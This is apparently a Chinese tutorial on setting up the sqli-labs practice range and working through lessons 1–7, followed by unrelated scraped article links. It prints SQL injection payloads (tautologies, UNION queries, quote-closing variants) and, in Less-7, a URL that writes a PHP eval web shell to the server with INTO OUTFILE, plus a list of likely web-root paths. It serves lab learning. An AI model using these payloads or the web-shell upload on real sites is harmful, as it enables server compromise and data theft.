sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)
靶场搭建
小白建议直接用集成环境.推荐laragon (由于这套靶场较早,需要使用php7.0以下环境,安装完php laragon需要在安装php低版本,默认laragon只集成了一个7.0的php),
如果不懂怎么安装php低版本到laragon,推荐使用php study. 这款集成工具最大的亮点就是集成了php的各个版本,相比于laragon 可能配置则会稍微复杂点..
php study:
laragon:
关于环境,这里不过多介绍,有兴趣的自己了解一下,各有千秋.但本人更倾向于laragon.
本套课程,所采用的集成环境为 php study.
搭建步骤
获取源码. 自行百度或者通过我的分享.
# 链接:https://pan.baidu.com/s/1XS38kjkn52Y822oN7JOLyw
# 提取码:fdbo
# 复制这段内容后打开百度网盘手机App,操作更方便哦
文件解压到phpstudy下的WWW(点击网站根目录,拷贝的时候先把目录清空),完工! (此方法为替换了默认的站点信息.也可通过域名站点管理添加站点指定路径 修改本地host来完成. )
访问测试:
访问127.0.0.1:
截至到此,安装没没有真正意义的完成.我们需要修改下php源码.找到数据库配置. 修改为你的数据库账号密码.:
完成后我们就可以进行闯关了..
less-1
访问less-1 看到如下页面.我们手工键入查询参数得知,此url是查询url. 所有的关卡只进行到发现注入点,(注意点方式很多,这里我只展示一种)不涉及暴库等操作.具体的可以自行研究.
键入常用的payload进行尝试. 成功!
通过修改源码, 输出对应sql语句,得知:
SELECT * FROM users WHERE id='' LIMIT 0,1 # 原始sql
# 我使用的payload
SELECT * FROM users WHERE id='' or 1=1 -- '' LIMIT 0,1
less-2
通过less-1 的套路,我在less-2的地址也加入了查询参数.得到的结果和less-1是一样的.
通过union联合查询 执行成功 由此断定sql存在注入漏洞.
# 原始sql
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# payload
SELECT * FROM users WHERE id=-1 union select 1,2,3 -- '' LIMIT 0,1
pay load
less-3
打开url 我们还是老套路 先尝试在url后面加个闭合的单引号 看输出信息是否异常
可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢
首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1
我们明显看到-1的右边多了一个' 这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),
# 使用的payload
id=-1%27)%20or%201=1%20--%20%27
id = -1') or 1=1 -- '
less-4
按老套路 查询参数后面加单引号, 发现可以正常查询.试试双引号,结果就报错了,
为什么单引号不报错呢? 因为在sql查询语句中,单引号是可以包双引号的
发现注入点之后 我们可以通过构造闭合双引号来尝试.
# 原始sql
SELECT * FROM users WHERE id=("1") LIMIT 0,1
# payload
select * from users where id = ("-1") or 1=1 -- "")
less-5
参考less -2 . (单引号)
less-6
参考less-2. (双引号)
less-7
看首页说是导出文件GET字符型注入,常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)
首先介绍两个可以说是函数,还是变量的东西
@@datadir (读取数据库路径)
@@basedir (MYSQL 获取安装路径)
# payload
SELECT * FROM users WHERE id=(('-1')) or 1=1 -- '')) LIMIT 0,1
# 上传文件的payload
http://127.0.0.1/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["php09"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23
sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)的更多相关文章
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- xss和sql注入学习1
在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法. 使用phpStudy工具搭建一个美食CMS网站平台. 0x01 xss测试 打开调试模式,定位姓名栏输入框: 尝试在value中 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 从零开始的sql注入学习(挖坑不填)
首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习. 虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了.直接从常用的说起. 实战中常用的 ...
- 简单sql注入学习
sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQ ...
- SQL注入学习(一)
注入攻击的本质:web应用程序没有过滤用户输入或过滤不严谨,直接把用户输入的恶意数据当做代码执行 两个条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 注入类型 SQL注入 ...
- Java SQL注入学习笔记
1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...
随机推荐
- python爬虫【实战篇】模拟登录人人网
requests 提供了一个叫做session类,来实现客户端和服务端的会话保持 使用方法 1.实例化一个session对象 2.让session发送get或者post请求 session = req ...
- 通过BulkLoad快速将海量数据导入到Hbase
在第一次建立Hbase表的时候,我们可能需要往里面一次性导入大量的初始化数据.我们很自然地想到将数据一条条插入到Hbase中,或者通过MR方式等. 但是这些方式不是慢就是在导入的过程的占用Region ...
- Topshelf:一款非常好用的 Windows 服务开发框架
背景 多数系统都会涉及到“后台服务”的开发,一般是为了调度一些自动执行的任务或从队列中消费一些消息,开发 windows service 有一点不爽的是:调试麻烦,当然你还需要知道 windows s ...
- 【MOS】在不同版本和平台之间进行还原或复制 (文档 ID 1526162.1)--跨版本恢复
参考链接:http://blog.itpub.net/26736162/viewspace-1549041/
- 【vue】移动端demo资料
http://imzjh.com/inew/#/(移动端demo) https://github.com/liangxiaojuan/eleme(饿了么git地址) https://github.co ...
- python3 pickle模块
import pickle '''将对象转化为硬盘能识别的bytes的过程被称为序列号将bytes转化为对象的过程被称为反序列化'''lst = ["苹果", "橘子&q ...
- PHP命令执行与防范
命令执行漏洞是指攻击者可以随意执行系统命令,是高危漏洞之一. 命令连接符:& && || | 如:ping www.baidu.com && ne ...
- 自己编写 EntityTypeConfiguration
1.新建类库 EFCore.EntityTypeConfig ,安装nuget PM> Install-Package Microsoft.EntityFrameworkCore 2.新建接口 ...
- Struts2的核心——拦截器
虽然以前已经学了很多的拦截器,但是在这里还是想重头梳理一下所有有关拦截器的知识,尤其是struts2中的拦截器 1:拦截器是什么? java里的拦截器是动态拦截Action调用的对象.它提供了一种机制 ...
- js 对数据进行过滤
//对数据进行过滤 Array.prototype.filter = Array.prototype.filter || function (func) { var arr = this; var r ...